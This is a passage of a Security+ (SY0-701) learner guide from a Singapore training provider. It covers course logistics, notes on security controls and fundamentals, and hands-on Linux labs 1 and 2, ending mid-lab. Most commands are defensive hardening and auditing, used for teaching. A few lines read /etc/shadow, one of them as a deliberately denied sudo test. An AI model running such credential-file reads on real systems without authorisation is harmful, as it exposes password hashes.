Tertiary Infotech Academy Pte Ltd

UEN: 201200696W

LEARNER GUIDE

For

CompTIA Security+ Certification (SY0-701)

TGS Ref No: TGS-2023039181

Conducted by

Tertiary Infotech Academy Pte Ltd

UEN: 201200696W

Version 3.0

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

DOCUMENT VERSION CONTROL RECORD

Version Number	Effective Date of Release	Summary of Included Changes	Author
1.0	2 July 2026	Initial release — Security+ SY0-701 3-day lesson plan aligned to the 36 labs.	Dr. Alfred Ang
2.0	18 August 2026	Reorganised to 5 days aligned to the SY0-701 exam domains; 43 labs; exam-registration and practice-exam sections.	Dr. Alfred Ang
3.0	28 October 2026	Re-sequenced to the official SY0-701 blueprint (5 domains, 28 objectives); concept content expanded per objective; 52 labs aligned one-to-one with objectives (9 new labs); exam tips and practice questions per domain; 5-day schedule (one domain per day, 40 training hours with the Day-5 final assessment) to match the published WSQ course duration. Labs and topic order aligned to the CyberLab simulator; practice exam added at the end; WSQ final assessment retained on Day 5.	Dr. Alfred Ang

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

TABLE OF CONTENTS

Introduction **6**
Course Learning Outcomes **6**
Assessment and Attendance **6**
Before You Start — Preparation **6**
Domain 1 — General Security Concepts (12%) **7**
Objective 1.1 — Types of Security Controls 7
Lab 1 — Security Controls Categorization 10
Objective 1.2 — Fundamental Security Concepts 14
Lab 2 — CIA Triad and AAA on Linux 18
Lab 3 — Deception: Honeypots, Honeyfiles and Honeytokens 21
Objective 1.3 — Change Management 26
Lab 4 — Change Management with Version-Controlled Configuration 29
Objective 1.4 — Cryptographic Solutions 33
Lab 5 — Hashing, Salting, and Digital Signatures 39
Lab 6 — Symmetric vs. Asymmetric Encryption and Key Exchange 42
Lab 7 — PKI: Build Your Own Certificate Authority 45
Practice Questions — Domain 1 50
Domain 2 — Threats, Vulnerabilities & Mitigations (22%) **51**
Objective 2.1 — Threat Actors & Motivations 51
Lab 8 — Threat Actors & the MITRE ATT&CK Framework 53
Objective 2.2 — Threat Vectors & Attack Surfaces 55
Lab 9 — Phishing Email Analysis (SPF / DKIM / DMARC) 57
Objective 2.3 — Types of Vulnerabilities 59
Lab 10 — SQL Injection (SQLi) 61
Lab 11 — Cross-Site Scripting (XSS) 63
Lab 12 — Memory Vulnerabilities & Exploit Mitigations 65
Objective 2.4 — Indicators of Malicious Activity 66
Lab 13 — Password Attacks: Spraying & Brute Force 69
Lab 14 — Malware Static Analysis & Linux IOC Hunting 71
Lab 15 — DoS Simulation and Detection 73
Objective 2.5 — Mitigation Techniques 75
Lab 16 — Linux Hardening Baseline with Lynis 77
Practice Questions — Domain 2 78
Domain 3 — Security Architecture (18%) **80**
Objective 3.1 — Architecture Models 80
Lab 17 — Cloud Shared Responsibility and IAM Least Privilege 84
Lab 18 — Container Security with Docker 90

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Objective 3.2 — Securing Enterprise Infrastructure....93
Lab 19 — Network Segmentation and Security Zones....98
Lab 20 — Stateful Firewall with UFW and nftables....101
Lab 21 — Web Application Firewall with ModSecurity and the OWASP CRS....105
Lab 22 — Site-to-Site VPN with WireGuard....107
Objective 3.3 — Protecting Data....110
Lab 23 — Data Classification and Data Loss Prevention....114
Lab 24 — Data at Rest: LUKS2 Disk Encryption....121
Lab 25 — Data in Transit: TLS Hardening and Cipher Audit....124
Objective 3.4 — Resilience and Recovery....127
Lab 26 — Backup and Recovery with restic....131
Lab 27 — Storage Resilience with Software RAID (mdadm)....134
Practice Questions — Domain 3....137
Domain 4 — Security Operations (28%)....138
Objective 4.1 — Securing Computing Resources....138
Lab 28 — Mobile and Endpoint Hardening Baseline....141
Lab 29 — Application Security: Validation, SAST and Code Signing....146
Objective 4.2 — Asset Management....153
Lab 30 — Asset Inventory, Media Sanitisation and Disposal Certificate....155
Objective 4.3 — Vulnerability Management....160
Lab 31 — Vulnerability Scanning, Confirmation and Rescan....162
Lab 32 — Vulnerability Management Pipeline with Trivy....166
Objective 4.4 — Alerting & Monitoring....170
Lab 33 — SIEM Alerting and Monitoring with Wazuh....172
Lab 34 — File Integrity Monitoring with AIDE....176
Objective 4.5 — Enterprise Security Capabilities....179
Lab 35 — Secure Remote Access: SSH Hardening and Fail2ban....182
Lab 36 — Network IDS with Suricata....185
Lab 37 — Endpoint Detection and Response with osquery....188
Objective 4.6 — Identity & Access Management....193
Lab 38 — Identity & Access Management with PAM and sudo....195
Lab 39 — Multifactor Authentication with TOTP....200
Objective 4.7 — Automation & Orchestration....203
Lab 40 — Automation and Orchestration with a Mini-SOAR Playbook....205
Objective 4.8 — Incident Response....211
Lab 41 — Incident Response: Live Triage....213
Lab 42 — Digital Forensics: Acquisition & Chain of Custody....217
Objective 4.9 — Investigation Data Sources....221

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 43 — Packet Capture and Traffic Analysis with tcpdump and tshark....223
Lab 44 — Log Investigation: Building an Attack Timeline....226
Practice Questions — Domain 4....230
Domain 5 — Security Program Management & Oversight (20%)....232
Objective 5.1 — Security Governance....233
Lab 45 — Governance: Policies, Standards, Procedures....235
Objective 5.2 — Risk Management....238
Lab 46 — Risk Register, CVSS Scoring, and Quantitative Risk....240
Objective 5.3 — Third-Party Risk....243
Lab 47 — Supply Chain Security: SBOM and Vendor Trust....245
Objective 5.4 — Security Compliance....247
Lab 48 — Compliance Audit with OpenSCAP....249
Objective 5.5 — Audits & Assessments....250
Lab 49 — Passive Reconnaissance / OSINT....252
Lab 50 — Active Reconnaissance with Nmap....254
Lab 51 — Penetration Testing in an Authorised Lab....255
Objective 5.6 — Security Awareness....257
Lab 52 — Security Awareness: Phishing Simulation....259
Practice Questions — Domain 5....260
Wrap-Up and Exam Readiness....261
Next Steps....262
Glossary....263

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Introduction

This Learner Guide accompanies the course CompTIA Security+ Certification (SY0-701) (TGS-2023039181), conducted by Tertiary Infotech Academy Pte Ltd. It provides step-by-step instructions for all 52 hands-on labs, organised into the five SY0-701 exam domains and all 28 exam objectives, in the same order as the course slides and Lesson Plan.

Use this guide alongside the course slides and the lab files in the labs/ folder of the course repository. Work through the labs in order — each one builds on the skills established by the labs before it.

Course Learning Outcomes

- LO1: Explain general security concepts — control types, CIA and AAA, Zero Trust, physical security, deception, change management and cryptography with PKI.
- LO2: Analyse threat actors, vectors and social engineering, application and platform vulnerabilities, indicators of attack, and mitigation techniques.
- LO3: Apply secure architecture — cloud and on-premises models, secure enterprise infrastructure, data protection, and resilience and recovery.
- LO4: Perform security operations — hardening, asset and vulnerability management, monitoring, security capabilities, IAM, automation and incident response.
- LO5: Support program oversight — governance, risk and third-party risk, compliance, audits and penetration testing, and security awareness.

Assessment and Attendance

This is a WSQ-funded course. A final assessment is conducted on Day 5 after the labs and the exam-readiness review.

- Written Assessment (WA) — Short-Answer Questions (SAQ), 6 questions, 1 hour, open book.
- Practical Performance (PP) — 5 hands-on security tasks, 1 hour, open book.
- Format: Open Book — course slides, this Learner Guide and approved materials only.
- Take the AM, PM and Assessment digital attendance (TRAQOM · SSG QR code shown by the trainer).
- A minimum of 75% attendance is required to be eligible for assessment and funding.
- An appeal process is available if required.

Before You Start — Preparation

What you need

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- A laptop with a modern web browser (Chrome, Edge or Firefox) and a stable internet connection.
- A free Killercoda account — every lab runs in the browser-based Ubuntu Playground at https://killercoda.com/playgrounds/scenario/ubuntu, so nothing is installed on your own machine.
- A text editor for keeping notes, command output and your risk register.
- The CompTIA Security+ SY0-701 exam objectives PDF, included in the course repository for reference.

Verify your setup

Open the Ubuntu Playground and confirm you have a root shell before starting Lab 1.

```
$ whoami

root

$ lsb_release -d

Description: Ubuntu 22.04 LTS
```

Conventions used in every lab

- Commands are shown one per line; run them in the order given.
- Placeholders such as <VALUE> are replaced with your own values.
- Reset the playground between labs that change firewall, PAM or routing state — each lab assumes a clean host.
- Every lab ends with a 'Test it' step. Do not move on until that check passes.

Domain 1 — General Security Concepts (12%)

1.1 Controls · 1.2 Fundamentals · 1.3 Change management · 1.4 Cryptography

Exam objectives in this domain

- 1.1 Compare and contrast various types of security controls
- 1.2 Summarize fundamental security concepts
- 1.3 Explain the importance of change management processes and the impact to security
- 1.4 Explain the importance of using appropriate cryptographic solutions

Objective 1.1 — Types of Security Controls

Official objective: Compare and contrast various types of security controls.

Every security control can be described in two ways: its category, which is how it is implemented, and its type, which is what it achieves against a threat.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

The four categories are technical, managerial, operational and physical, and the six types are preventive, deterrent, detective, corrective, compensating and directive.

Many controls have more than one type. A visible CCTV camera is physical in category, detective in type and also acts as a deterrent.

Defence in depth layers controls of different categories and types, so that when a preventive control fails, detective and corrective controls still protect the asset.

Obj 1.1 · Controls

- Every control has a category and a type Category is how a control is implemented: technical, managerial, operational or physical. Type is what it achieves: prevent, deter, detect, correct, compensate or direct.

The Four Control Categories

- Technical — Implemented in hardware, software or firmware logic. Examples are firewalls, MFA, encryption, antivirus and SELinux policy.
- Managerial — Oversight and planning decisions made by management. Examples are risk assessments, security policies and change approval.
- Operational — Carried out by people day to day. Examples are awareness training, log review shifts, guard patrols and backup rotation.
- Physical — Act on the physical world to restrict or monitor access. Examples are fences, bollards, badge readers, locks and CCTV.
- Managerial and operational replace the older administrative category. Ask who or what performs the control to find its category.

Six Control Types by Function

- Preventive — Stops the event happening at all. An iptables DROP rule, a locked door and an account lockout policy are preventive.
- Deterrent — Discourages an attacker who is still deciding. Warning banners, visible CCTV signage and lighting are deterrents.
- Detective — Identifies that an event happened, usually after the fact. Examples are auditd rules, IDS and SIEM alerts and log reviews.
- Corrective — Restores the system after an event. Restoring from backup, quarantining malware and patching the flaw are corrective.
- Compensating — An alternative used when the primary control is not feasible, such as segmenting an unpatchable legacy host.
- Directive — Instructs people what they must do. Acceptable use policies, procedures, standards and signage that gives orders are directive.

One Control, Two Answers

- Firewall deny rule — Technical category, preventive type. It blocks the connection before the service ever sees it.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Security guard — Physical or operational category, because a person delivers it. Preventive and deterrent, and detective on patrol.
- CCTV camera — Physical category, detective type. A visible camera with signage also works as a deterrent.
- Acceptable use policy — Managerial category, directive type. It tells staff what they must and must not do with company systems.
- Restore from backup — Operational category when staff run it, corrective type. It returns the system to a known-good state.
- Isolated legacy VLAN — Technical category, compensating type. It stands in for a patch that cannot be applied to the legacy host.
- Exam questions often give a scenario and ask for one answer, so read whether it asks for the category or the type.

Preventive iptables versus Detective auditd

- iptables: preventive: It sits in the netfilter path and decides ACCEPT, DROP or REJECT before a service sees the packet.
- iptables: preventive: The rule iptables -I INPUT -p tcp --dport 23 -j DROP blocks inbound Telnet outright.
- iptables: preventive: Its failure mode is a broken service, because a wrong rule silently denies legitimate traffic.
- iptables: preventive: It is technical in category and preventive in type, which are two separate exam answers.
- auditd: detective: It hooks the kernel audit subsystem and records syscalls and file access in the audit log.
- auditd: detective: The rule auditctl -w /etc/passwd -p wa -k passwd_changes flags writes and attribute changes.
- auditd: detective: It never blocks anything, so a detective control alone cannot stop an attack in progress.
- auditd: detective: You query it with ausearch -k passwd_changes and summarise it with aureport.

Control Types Along an Attack Timeline

- Step 1: Directive: policy sets the expected behaviour
- Step 2: Deterrent: banners and lighting discourage the attempt
- Step 3: Preventive: firewall and MFA block the attack
- Step 4: Detective: IDS and SIEM alert on what got through
- Step 5: Corrective: isolate, patch and restore service

Commonly Confused Control Types

- Deter vs prevent: A deterrent discourages but can be ignored.; A preventive control blocks the action outright.; A warning sign deters, a locked door prevents.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Correct vs compensate: Corrective repairs the damage after an incident.; Compensating replaces a control that is not feasible.; Restoring a backup corrects, isolating a host compensates.
- Type vs category: Directive is a type: it tells people what to do.; Managerial is a category: how the control is governed.; A written policy is managerial and directive.

Layering Controls So One Failure Is Not Fatal

- No single control is enough, so layer categories and types so that one failure does not expose the asset.
- Pair every preventive control with a detective one, because prevention eventually fails and you need to know when.
- Mix categories: a technical firewall, a managerial policy, an operational review and a physical lock can guard one server.
- A compensating control must give equivalent protection, and frameworks such as PCI DSS require it to be documented and reviewed.
- Map controls to a framework such as NIST SP 800-53 or the CIS Controls to find gaps and avoid duplicated effort.

Exam tips

- Category = how it is implemented (technical, managerial, operational, physical). Type = what it does (preventive, detective...).
- A sign or banner is deterrent; a lock or firewall rule is preventive. If it only discourages, choose deterrent.
- Compensating = substitute when the primary control is not feasible, such as isolating an unpatchable legacy system.
- Policies, procedures and AUPs are directive. Backups, patching and quarantine after an incident are corrective.
- IDS, logs, CCTV and audits are detective: they record or alert but never block on their own.

Lab 1 — Security Controls Categorization

Exam objective: 1.1. Learning outcome: Classify controls and build each control type on Linux.

Goal: The learner classifies real controls by category and type, then implements preventive, deterrent, detective, corrective and compensating controls on one Linux host.

What you'll build

A control matrix, an iptables block with a jump-host exception, a banner, an auditd watch and a restore. (Tools: iptables, auditd, ausearch, sshd, sha256sum, column.)

Step-by-step

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

1. Install the tools You need iptables for the preventive control, auditd for the detective control, and column (bsdextrautils) to print the matrix neatly.

```
apt-get update -qq && apt-get install -y iptables auditd bsdextrautils curl
openssh-server

systemctl enable --now auditd

mkdir -p /root/lab01 /run/sshd && cd /root/lab01
```

2. Build the control matrix Classify twelve everyday controls by category and type. Read each row and decide on the answer yourself before you look at the right-hand columns.

```
cat > /root/lab01/controls.csv <<'EOF'

Control,Category,Type

Locked server-room door,Physical,Preventive

Warning sign at the perimeter fence,Physical,Deterrent

CCTV recording the lobby,Physical,Detective

Fire suppression system,Physical,Corrective

Acceptable use policy,Managerial,Directive

Annual risk assessment,Managerial,Preventive

Quarterly user access review,Operational,Detective

Security awareness training,Operational,Preventive

Firewall DROP rule on port 23,Technical,Preventive

IDS alert on a port scan,Technical,Detective

Restore server from backup,Operational,Corrective

Isolated VLAN for an unpatchable host,Technical,Compensating

EOF

column -t -s, /root/lab01/controls.csv

echo "--- controls per type ---"; tail -n +2 /root/lab01/controls.csv | cut
-d, -f3 | sort | uniq -c
```

3. Add a technical preventive control Start a stand-in "Telnet" service on port 23, prove it answers, then drop inbound TCP/23 with iptables and prove the same request now fails. Loopback traffic passes through the INPUT chain, so the test works on one host.

```
nohup python3 -m http.server 23 --bind 127.0.0.1 >/dev/null 2>&1 &
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
sleep 1

curl -s -m 3 -o /dev/null -w "before rule: HTTP %{http_code}\n"
http://127.0.0.1:23/

iptables -I INPUT -p tcp --dport 23 -j DROP

curl -s -m 3 -o /dev/null -w "after rule: HTTP %{http_code}\n"
http://127.0.0.1:23/ || echo "after rule: connection timed out (blocked)"

iptables -L INPUT -n --line-numbers | head -5
```

4. Add a deterrent and directive control A login warning banner does not stop anyone, but it discourages casual attackers (deterrent) and tells users the rules (directive). Validate the SSH configuration with sshd -T instead of restarting the daemon.

```
cat > /etc/issue.net <<'EOF'

WARNING: Authorised users only. All activity on this system is monitored
and logged.

Unauthorised access is an offence under the Computer Misuse Act 1993
(Singapore).

EOF

echo "Banner /etc/issue.net" > /etc/ssh/sshd_config.d/10-banner.conf

sshd -t && sshd -T | grep -i '^banner'

cat /etc/issue.net
```

5. Add a technical detective control auditd records events but never blocks them. Watch /etc/passwd for writes and attribute changes, then trigger a legitimate change by adding a user.

```
auditctl -w /etc/passwd -p wa -k passwd_changes

auditctl -l

useradd -m lab01user

sleep 1

ausearch -k passwd_changes -i | grep -E "type=SYSCALL" | tail -3
```

6. Add a corrective control Take a known-good copy and hash of the banner, simulate a defacement, detect it with the hash, and correct it by restoring the known-good copy.

```
mkdir -p /root/known-good

cp -a /etc/issue.net /root/known-good/issue.net
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
sha256sum /etc/issue.net > /root/known-good/issue.net.sha256

echo "Welcome! Everyone is allowed in." > /etc/issue.net

sha256sum -c /root/known-good/issue.net.sha256 || cp -a
/root/known-good/issue.net /etc/issue.net

sha256sum -c /root/known-good/issue.net.sha256
```

7. Add a compensating control Assume a legacy device must keep Telnet and cannot be patched. Compensate by allowing port 23 only from a jump host (10.10.10.5) and logging every attempt. Rule order matters: LOG first, then ACCEPT from the jump host, then the DROP from step 3.

```
iptables -I INPUT 1 -s 10.10.10.5 -p tcp --dport 23 -j ACCEPT

iptables -I INPUT 1 -p tcp --dport 23 -j LOG --log-prefix "LEGACY-TELNET "
--log-level 4

iptables -L INPUT -n --line-numbers | head -6

curl -s -m 3 -o /dev/null http://127.0.0.1:23/ || echo "non-jump-host
access still blocked"

dmesg | grep LEGACY-TELNET | tail -2
```

8. Map what you built back to the matrix Record each control you implemented with its category, type and evidence. This is the artefact an auditor or reviewer would ask for.

```
cat > /root/lab01/evidence.csv <<'EOF'

Implemented control,Category,Type,Evidence

iptables DROP tcp/23,Technical,Preventive,iptables -L INPUT

SSH warning banner,Technical,Deterrent + Directive,sshd -T | grep banner

auditd watch on /etc/passwd,Technical,Detective,ausearch -k passwd_changes

Known-good restore of /etc/issue.net,Operational,Corrective,sha256sum -c

Jump-host-only Telnet + LOG,Technical,Compensating,iptables -L INPUT and
dmesg

EOF

column -t -s, /root/lab01/evidence.csv
```

Test it

iptables shows LOG, jump-host ACCEPT and DROP rules for port 23, sshd -T shows the banner, ausearch shows the useradd event and the banner hash is OK.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Note: Full commands, troubleshooting and the challenge task are in labs/lab-01-security-controls/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 1.2 — Fundamental Security Concepts

Official objective: Summarize fundamental security concepts.

The CIA triad of confidentiality, integrity and availability defines what security protects, and non-repudiation adds proof that a subject performed an action.

AAA separates authentication of people and systems, authorization through models such as DAC, MAC, RBAC and ABAC, and accounting of what was actually done.

A gap analysis compares the current security posture with a target framework and drives a prioritised remediation plan.

Zero Trust removes implicit trust based on network location: a control plane of policy engine and policy administrator decides, and policy enforcement points in the data plane enforce every request.

Physical controls such as bollards, access control vestibules, guards, badges, lighting and sensors protect premises, while honeypots, honeynets, honeyfiles and honeytokens deceive and expose attackers.

The CIA Triad in Practice

- Confidentiality — Only authorised subjects can read the data. Enforced by permissions, encryption at rest and in transit, and least privilege.
- Integrity — Data is not altered without authorisation. Verified by hashes, digital signatures, version control and file integrity monitoring.
- Availability — Data and services are reachable when needed. Delivered by redundancy, clustering, backups, patching and DDoS protection.
- Non-repudiation — A related property, not part of the triad. It proves who acted, using digital signatures and trustworthy audit logs.

Integrity Alone versus Non-repudiation

- Hash: integrity only: A hash such as SHA-256 proves the data has not changed since the digest was taken.
- Hash: integrity only: Anyone can recompute a hash, so it says nothing about who created the data.
- Hash: integrity only: An attacker who alters a file can simply publish a new matching hash.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Hash: integrity only: An HMAC adds a shared key, but both parties hold it, so either could have made it.
- Signature: non-repudiation: A digital signature is the hash encrypted with the signer's private key.
- Signature: non-repudiation: Only the private key holder could create it, so the signer cannot credibly deny it.
- Signature: non-repudiation: Verifying with the public key proves integrity, authenticity and origin together.
- Signature: non-repudiation: Tamper-evident audit logs and timestamps extend non-repudiation to user actions.

AAA: Three Separate Questions

- Authentication — Who are you? Proven by a password checked by PAM, an SSH key pair, a certificate, or a smart card plus PIN.
- Authorization — What may you do? Enforced by file permissions, ACLs, sudoers rules, group membership and SELinux labels.
- Accounting — What did you actually do? Recorded in auth logs, the audit log, RADIUS accounting records and SIEM events.
- Common mistake — Treating sudo as authentication only. It re-authenticates you, but its real job is authorization plus accounting.
- RADIUS and TACACS+ are classic AAA protocols. TACACS+ separates all three functions; RADIUS combines authentication and authorization.

Authenticating People: The Factors

- Something you know — A password, PIN or passphrase. The weakest factor, because it can be guessed, phished or reused across sites.
- Something you have — A smart card, hardware security key, or phone running an authenticator app that produces one-time codes.
- Something you are — A biometric such as a fingerprint, face or iris. Convenient, but it cannot be changed if the template leaks.
- Somewhere you are — Location from GPS or IP address. Used as an extra risk signal rather than a stand-alone factor.
- Multifactor — MFA combines two or more different factor types. A password plus a PIN is still only one factor type.

Authenticating Systems and Devices

- Device certificates — A machine presents an X.509 certificate, as in 802.1X network access control or mutual TLS between services.
- SSH host and user keys — The server proves itself with a host key, and automation logs in with a key pair instead of a password.
- Service accounts — Non-human accounts run applications. Give them least privilege, no interactive login and rotated secrets.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- API keys and tokens — Applications authenticate to APIs with keys or OAuth tokens kept in a secrets vault, never in source code.
- TPM attestation — A device proves it booted a trusted configuration by signing boot measurements with a key held in its TPM.

Authorization Models

- Discretionary (DAC) — The owner decides who gets access, as with Linux file permissions. Flexible but prone to over-sharing.
- Mandatory (MAC) — The system enforces labels such as Secret and Top Secret that users cannot change. SELinux is an example.
- Role-based (RBAC) — Permissions attach to job roles, and users inherit them by being placed in a role or group.
- Attribute-based (ABAC) — Decisions evaluate attributes of the user, resource and context, such as department, device and time.
- Rule-based — System-wide rules apply to everyone, such as firewall ACLs or a rule that blocks logins outside office hours.
- Least privilege — Whatever the model, grant only the access needed for the task and remove it when it is no longer needed.

Gap Analysis in Five Steps

- Step 1: Choose a target framework such as NIST CSF or ISO 27001
- Step 2: Document the current state of controls and processes
- Step 3: Compare the current state with each target requirement
- Step 4: Record each gap with a risk rating and an owner
- Step 5: Build a remediation roadmap, then reassess

Obj 1.2 · Zero Trust

- Zero Trust: never trust, always verify No user, device or network location is trusted by default. Every request is authenticated, authorised and encrypted, and access is granted per session with least privilege.

Zero Trust Control Plane versus Data Plane

- Control plane: decides: Adaptive identity adjusts trust using context such as device health, location and behaviour.
- Control plane: decides: Threat scope reduction limits each subject to the smallest set of resources it needs.
- Control plane: decides: Policy-driven access control turns business rules into machine-enforced policy.
- Control plane: decides: The policy engine makes the decision and the policy administrator applies it.
- Data plane: enforces: The subject or system is the user, device or workload requesting access.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Data plane: enforces: The policy enforcement point sits in the traffic path and opens or closes the session.
- Data plane: enforces: Implicit trust zones are areas behind a PEP where traffic is trusted after the check.
- Data plane: enforces: Zero Trust shrinks implicit trust zones so they sit as close to the resource as possible.

How a Zero Trust Access Request Works

- Step 1: Subject requests a resource through the PEP
- Step 2: PEP forwards the request to the control plane
- Step 3: Policy engine scores identity, device and context
- Step 4: Policy administrator tells the PEP to allow or deny
- Step 5: PEP opens a session and keeps re-evaluating it

Physical Security Controls

- Bollards — Short, sturdy posts that stop vehicles ramming entrances while still letting pedestrians pass between them.
- Access control vestibule — Two interlocking doors where only one opens at a time, stopping tailgating and piggybacking. Formerly a mantrap.
- Fencing — Marks the perimeter and delays intruders. Height, anti-climb mesh and razor wire raise its deterrent value.
- Video surveillance — CCTV records and can alert on motion or objects. It is detective, and visible cameras also deter.
- Security guard — A person who can make judgement calls, check identities and respond. Two-person integrity limits insider risk.
- Access badge — An ID card, often RFID or a smart card, that opens doors and logs each entry. Badges should be worn and checked.
- Lighting — Good lighting deters intruders and lets cameras and guards see clearly. Dark areas around buildings invite attack.

Sensors That Detect Intrusion

- Infrared — Passive infrared detects changes in heat, such as a body moving through a room. Common in motion detectors.
- Pressure — Detects weight or force on a floor mat, window or seat. Useful in doorways and vaults where people must step.
- Microwave — Emits microwave pulses and measures reflections. Covers a wider area than infrared but is prone to false alarms.
- Ultrasonic — Emits high-frequency sound and detects changes in the echo caused by movement in an enclosed space.

Deception and Disruption Technology

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Honeypot — A decoy system that looks valuable but has no production purpose, so any interaction with it is suspicious.
- Honeynet — A network of honeypots that simulates a realistic environment to study attacker movement and tooling.
- Honeyfile — A decoy file with a tempting name, such as passwords.xlsx, where any open or read raises an alert.
- Honeytoken — Fake data such as a dummy credential, API key or database record. Its use anywhere proves a breach.
- Disruption — Tactics such as DNS sinkholes and fake telemetry waste attacker time and reveal their tools and intent.
- Safe deployment — Keep decoys isolated from production and on your own systems, and record everything they capture.

Exam tips

- Non-repudiation comes from digital signatures (private key) plus logs. A hash alone gives integrity, not non-repudiation.
- In Zero Trust the policy engine decides, the policy administrator executes, and the PEP enforces in the data plane.
- An access control vestibule stops tailgating, bollards stop vehicles, and lighting and signage mainly deter.
- Honeyfile = decoy file, honeytoken = decoy data or credential, honeynet = network of honeypots.
- Gap analysis compares the current state with a target framework or baseline and drives a remediation plan.

Lab 2 — CIA Triad and AAA on Linux

Exam objective: 1.2. Learning outcome: Enforce the CIA triad and demonstrate AAA with Linux tools.

Goal: The learner enforces confidentiality, integrity and availability, authenticates a person by password hash and a system by SSH key, grants one least-privilege sudo command and traces it in the logs.

What you'll build

An owner-only file, a hash baseline, a self-healing service, a key login and a scoped sudo rule. (Tools: chmod, sha256sum, systemd, chpasswd, openssl passwd, ssh-keygen, sudo, journalctl.)

Step-by-step

1. Install the tools and create the lab users alice is a payroll analyst, bob is another employee, and svc-backup is a non-human service identity that will log in as alice with a key.

```
apt-get update -qq && apt-get install -y openssh-server sudo curl python3
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mkdir -p /run/sshd && systemctl enable --now ssh

id alice >/dev/null 2>&1 || useradd -m -s /bin/bash alice

id bob   >/dev/null 2>&1 || useradd -m -s /bin/bash bob
```

2. Confidentiality: restrict a file to its owner chmod 600 gives read and write to the owner only. This is discretionary access control (DAC): the owner sets the permissions.

```
echo "salary: 120000" > /home/alice/secret.txt

chown alice:alice /home/alice/secret.txt

chmod 600 /home/alice/secret.txt

ls -l /home/alice/secret.txt

sudo -u bob cat /home/alice/secret.txt 2>&1 || echo "DENIED -
confidentiality enforced"
```

3. Integrity: baseline a hash and detect tampering A SHA-256 digest is a fingerprint of the file. Any change, however small, produces a different digest.

```
sha256sum /home/alice/secret.txt > /root/secret.sha256

sha256sum -c /root/secret.sha256

echo "salary: 990000" > /home/alice/secret.txt

sha256sum -c /root/secret.sha256 || echo "INTEGRITY FAILED - file was
altered"
```

4. Availability: make a service self-heal Create a small web service with Restart=always, kill it, and watch systemd bring it back. Redundancy and automatic recovery are availability controls.

```
mkdir -p /srv/cia-web && echo "service is up" > /srv/cia-web/index.html

cat > /etc/systemd/system/cia-web.service <<'EOF'

[Unit]

Description=CIA lab web service (availability demo)

[Service]

ExecStart=/usr/bin/python3 -m http.server 8080 --directory /srv/cia-web

Restart=always

RestartSec=2

[Install]

WantedBy=multi-user.target
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
EOF

systemctl daemon-reload && systemctl enable --now cia-web

sleep 2 && curl -s http://127.0.0.1:8080/

systemctl kill -s SIGKILL cia-web

sleep 4 && curl -s http://127.0.0.1:8080/

systemctl show cia-web -p NRestarts
```

5. Authentication of people: verify a password hash Set alice's password (something you know) and store it as a salted SHA-512 hash. Then do what PAM does at login: recompute the hash with the stored salt and compare.

```
echo 'alice:Lab1234!' | chpasswd -c SHA512

STORED=$(getent shadow alice | cut -d: -f2)

SALT=$(echo "$STORED" | cut -d'$' -f3)

echo "stored hash: $STORED"

[ "$(openssl passwd -6 -salt "$SALT" 'Lab1234!')" = "$STORED" ] && echo
"correct password: AUTHENTICATED"

[ "$(openssl passwd -6 -salt "$SALT" 'Guess123')" = "$STORED" ] || echo
"wrong password: REJECTED"
```

6. Authentication of systems: log in with an SSH key Automation should authenticate with a key pair, not a password. The server also authenticates itself to the client with its host key.

```
[ -f /root/svc_backup_key ] || ssh-keygen -t ed25519 -N '' -C 'svc-
backup@lab' -f /root/svc_backup_key -q

install -d -m 700 -o alice -g alice /home/alice/.ssh

cat /root/svc_backup_key.pub >> /home/alice/.ssh/authorized_keys

chown alice:alice /home/alice/.ssh/authorized_keys && chmod 600
/home/alice/.ssh/authorized_keys

ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub

ssh -i /root/svc_backup_key -o BatchMode=yes -o
StrictHostKeyChecking=accept-new alice@127.0.0.1 'echo "logged in as $
(whoami) with a key"'
```

7. Authorization: grant one least-privilege sudo command alice is authenticated, but she should be authorised only to restart the web service. Use a validated drop-in file rather than editing /etc/sudoers directly.

```
cat > /etc/sudoers.d/alice-ops <<'EOF'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
alice ALL=(root) NOPASSWD: /usr/bin/systemctl restart cia-web

EOF

chmod 440 /etc/sudoers.d/alice-ops && visudo -cf /etc/sudoers.d/alice-ops

sudo -l -U alice | tail -2

sudo -u alice sudo -n /usr/bin/systemctl restart cia-web && echo "ALLOWED -
restart cia-web"

sudo -u alice sudo -n /usr/bin/cat /etc/shadow 2>&1 | tail -1 || true
```

8. Accounting: trace who did what in the logs Every sudo decision and SSH login is recorded with a timestamp and user. This trail supports investigations and non-repudiation.

